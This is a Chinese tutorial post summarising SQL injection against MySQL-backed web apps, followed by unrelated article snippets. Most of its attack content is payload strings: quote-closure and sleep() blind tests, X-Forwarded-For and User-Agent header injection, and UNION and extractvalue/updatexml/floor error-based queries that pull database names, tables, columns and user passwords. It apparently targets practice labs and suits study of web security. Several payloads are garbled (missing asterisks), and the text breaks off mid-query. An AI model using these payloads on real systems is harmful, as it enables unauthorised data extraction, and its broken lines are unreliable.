Sql注入漏洞汇总-上

产生的原因

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,带入数据库中进行查询,从而导致数据的泄露或者修改。

02

分类

1、按照查询的类型分类

数字型

select * from user where id=1

尝试闭合的方式有:

id=1 and 1=1  回显正常
id=1 and 1=2  回显错误
等等

字符型

select * from user where name=‘xxx’

select * from user where name=“lihua”

尝试闭合的方式有

#单引号
id=1' and '1'='1  回显正常
id=1' and '1'='2  回显错误id=1' and 1=1#  回显正常
id=1' and 1=2#  回显错误#双引号
id=1" and "1"="1  回显正常
id=1" and "1"="2  回显错误id=1" and 1=1#  回显正常
id=1" and 1=2#  回显错误#延时注入判断(页面没有变化)
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //无休眠
?id=1') and sleep(5)--+//无休眠
?id=1") and sleep(5)--+//无休眠?id=1')and (sleep(4)) --+ 错误
?id=1'and (sleep(4)) --+ 正确 执行该命令在网络中可以看时间#等等闭合方式,打开思路,如与(),(('')),(("")),('')等等#宽字节注入
1%df'

搜索型

select * from user where search like ‘%1%’

2、按照提交的方式分类

GET

在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。

POST

通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。

判断注入点是在用户名还是密码处,都试一试,看哪里页面有变化

Cookie

有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。

Referer

XFF

在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9’ ,用户在注册的时候,如果存在安全隐患,会出现错误页面或者报错。从而导致注册或者登录用户失败。burpsuite 抓包,提交输入检测语句:

X-Forwarded-for: 127.0.0.1'and 1=1#
X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样,存在 SQL 注入漏洞

补充

X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip

UA注入

输入点在User-Agent

3、按照效果分类

联合注入

判断列数:
?id=1' order by 4# 报错
?id=1' order by 3# 没有报错,说明存在3列爆出数据库:
?id=-1' union select 1,database(),3--+
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#爆出数据表:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'#爆出字段:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#爆出数据值:
?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+

拓展一些其他函数:

system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统多条数据显示函数:
concat()、group_concat()、concat_ws()

关于将id值设置为0或者负数的解释

由于我们的语句是插入到原有语句后面,这样就会出现两个SQL语句同时执行,由于SQL查询会默认返回一行数据,所以我们插入的第二行语句的结果就不会被返回,只会返回原有的SQL语句的查询内容。
要让数据库查询我们插入的语句,需要让原有SQL语句产生查询错误,注意:查询错误不是语法错误,查询错误只会返回空,不会让语句报错。
所以我们可以使id=0或id=-1,零或负数不会被用作id值,它插入进去一定导致原有SQL语句查询结果为空,我们插入的SQL语句的结果就会被返回。

报错注入

extractvalue()
?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+ (爆出版本号)?id=1' and extractvalue(1, concat(0x7e,(select database()),0x7e))#(爆数据库)?id=1' and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))--+ (爆数据表)?id=1' and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))--+(爆字段)?id=1' and extractvalue(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e))--+ (爆数据)
updatexml()

细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值)

?id=1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#?id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)--+ (爆数据库)?id=1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+ (爆数据表)?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)--+ (爆字段)?id=1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)--+
floor()
?id=1' union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a--+?id=1' union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆数据库,不断改变limit得到其他)?id=1' union select 1,count(),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出users表)?id=1' union select 1,count(),concat(0x7e,(select column_name from information_schem

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/22168.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在QML中调用 C++ 函数的方法(四)

文章目录 前言一、qml 和 c++ 交互的官方文档介绍二、QML 中调用 C++ 实现的函数的方法1. Exposing Attributes of C++ Types to QML1.1 暴露 Properties1.2 暴露 Methods(槽函数和Q_INVOKABLE 修饰的函数)1.3 暴露 Signals2. Defining QML Types from C++3. 代码实例3.1 创建一…

【OpenHarmony】ArkTS 语法基础 ③ ( @Component 自定义组件生命周期回调函数 | @Entry 页面生命周期回调函数 )

文章目录 一、ArkTS Component 自定义组件生命周期1、自定义组件生命周期2、aboutToAppear 函数执行时机和作用3、aboutToDisappear 函数执行时机和作用4、代码示例 二、ArkTS Entry 页面生命周期1、Entry 页面生命周期2、onBackPress 和 onPageHide 回调函数无关联 三、代码示…

文化若想挣钱,真的很可怕吗?

文化若想挣钱,真的很可怕吗? 近日,我看到受人尊敬的静思有我先生的一个音频作品《会挣钱,遇上有文化,这个地方很可怕》,把这个标题在网上搜一搜,在它下面就跟着有这样一篇文章--商人不可怕&…

vscode 1.85安装remote-ssh后左侧没有图标

vscode安装remote-ssh插件后左侧没有图标。 解决方法 想要左侧有图标,是另一个插件起作用:Remote Explorer 但是这个插件最新版需要1.87,可以switch to Pre-release version之后就能用了。 其实,最后再switch to Release Versio…

PHP网络编程是什么:深入探索其四个方面、五个方面、六个方面与七个方面的核心奥秘

PHP网络编程是什么:深入探索其四个方面、五个方面、六个方面与七个方面的核心奥秘 PHP网络编程,这个看似简单的概念,实则蕴含着丰富的内涵和无尽的探索空间。它不仅是现代网络应用开发的重要基石,更是无数开发者实现创意与梦想的…

动静态库【Linux】

文章目录 静态库的打包动态库的打包 静态库的打包 把我们提供的方法,给别人用: 1、把源文件直接给别人 2、把源代码打包成库库.h 例如 ;有a.c b.c c.c d.c ,四个.c文件 , 将a.c 形成a.o ,b.c形成b.o c.c形成c.o d.c形成d.o文件,…

JS片段:生成 UUID

Hi,这里是松桑,每天学习一个 JS 片段,涨涨🧀!今天带来的是如何生成 UUID,UUID作为全局唯一标识,使用常见广泛,包括分布式系统、数据库主键、会话标识、消息队列、日志追踪等等。 什么…

【前端Vue3】——JQuery知识点总结(超详细)

🎼个人主页:【Y小夜】 😎作者简介:一位双非学校的大二学生,编程爱好者, 专注于基础和实战分享,欢迎私信咨询! 🎆入门知识专栏:🎇【MySQL&#…

【力扣刷题 动态规划】LeetCode 139 单词拆分、LeetCode 300 最长递增子序列 ✌

文章目录 1. 单词拆分2. 最长递增子序列 1. 单词拆分 题目链接 &#x1f34e; 解题思路&#xff1a; class Solution {bool dp[310] {false};public:bool wordBreak(string s, vector<string>& wordDict) {unordered_set<string> myset;for(auto& str :…

《欢乐钓鱼大师》新手攻略大全!新手逆袭之路!

《欢乐钓鱼大师》是一款趣味十足的模拟钓鱼游戏&#xff0c;适合各类玩家&#xff0c;从钓鱼新手到钓鱼高手都能在游戏中找到乐趣。为了帮助新手玩家更快地掌握游戏技巧&#xff0c;提高钓鱼水平&#xff0c;我们准备了一些实用的攻略和技巧&#xff0c;帮助大家轻松入门&#…

PDF 文件的解析

1、文本 PDF 的解析 1.1、文本的提取 进行文本提取的 Python 库包括&#xff1a;pdfminer.six、PyMuPDF、PyPDF2 和 pdfplumber&#xff0c;效果最好的是 PyMuPDF&#xff0c;PyMuPDF 在进行文本提取时能够最大限度地保留 PDF 的阅读顺序&#xff0c;这对于双栏 PDF 文件的抽…

【0286】Postgres内核 shared buffer pool 初始化原理

0. shared buffer pool 附&#xff1a;shared buffer初始化后&#xff0c;BufferDescriptors中变量bufferdesc的值如下面文件所示&#xff1a; Postgres shared buffer pool初始化过程日志

vue-router 源码分析——1. 路由匹配

这是对vue-router 3 版本的源码分析。 本次分析会按以下方法进行&#xff1a; 按官网的使用文档顺序&#xff0c;围绕着某一功能点进行分析。这样不仅能学习优秀的项目源码&#xff0c;更能加深对项目的某个功能是如何实现的理解。这个对自己的技能提升&#xff0c;甚至面试时…

MyBatis3.4全集笔记

MyBatis 1. MyBatis 简介 MyBatis 本是apache的一个开源项目iBatis, 2010年这个项目由apache software foundation 迁移到了google code&#xff0c;并且改名为MyBatis 。2013年11月迁移到Github。 iBATIS一词来源于“internet”和“abatis”的组合&#xff0c;是一个基于Ja…

Sed流编辑器总结

sed 是 Unix 和 Linux 系统中的一个强大的流编辑器。它用于对文本进行基本的修改和处理。以下是关于 sed 的详细解说&#xff0c;包括其基本语法&#xff0c;常见用法和一些高级用法。 基本语法 sed [选项] 命令 输入文件常见选项 -e&#xff1a;指定要执行的 sed 命令。-f&a…

SpringSecurity6从入门到实战之SpringSecurity整合自动装配详解(源码级讲解,耐心看完)

SpringSecurity6从入门到实战之SpringSecurity整合自动装配详解 这里我先引出问题然后再来一步步进行剖析,SpringSecurity到底是如何实现引入依赖后所有请求都需要进行认证并且会弹出login登录表单页面. 接下来会对SpringBoot的自动装配进行详解,SpringSecurity也是通过自动装配…

AI绘画Stable Diffusion 制作幻术光影字:使用Brightness亮度控制模型,超简单!

大家好&#xff0c;我是灵魂画师向阳。 今天给大家分享的教程是利用AI工具Stable Diffusion 制作光影文字。这是一种通过模拟自然光线照射和阴影效果&#xff0c;使文字看起来具有立体感和逼真感的设计风格。 它的主要目的是让文字自然的融合在场景中。 先来看组实例图。 …

【机器学习数据挖掘】基于ARIMA 自回归积分滑动平均模型的销售价格库存分析报告 附完整python代码

资源地址&#xff1a;Python数据分析大作业 4000字 图文分析文档 销售分析 完整python代码 ​ 完整代码分析 同时销售量后1000的sku品类占比中&#xff08;不畅销产品&#xff09;如上&#xff0c;精品类产品占比第一&#xff0c;达到66.7%&#xff0c;其次是香化类产品&#…

【赠书活动】好书推荐—《详解51种企业应用架构模式》

导读&#xff1a; 企业应用包括哪些&#xff1f;它们又分别有哪些架构模式&#xff1f;世界著名软件开发大师Martin Fowler给你答案。 01 什么是企业应用 我的职业生涯专注于企业应用&#xff0c;因此&#xff0c;这里所谈及的模式也都是关于企业应用的。&#xff08;企业应用…

逐步掌握最佳Ai Agents框架-AutoGen 八 开源模型

前言 本篇文章&#xff0c;我们来探索下AutoGen使用其它LLM大模型。主要原因是AutoGen在使用chatgpt3.5/chatgpt 4等付费模型时&#xff0c;token开销比较大。如果我们的业务&#xff0c;社区里的开源模型就能搞定&#xff0c;那当然就开冲了。 接下来就让我们看下&#xff0…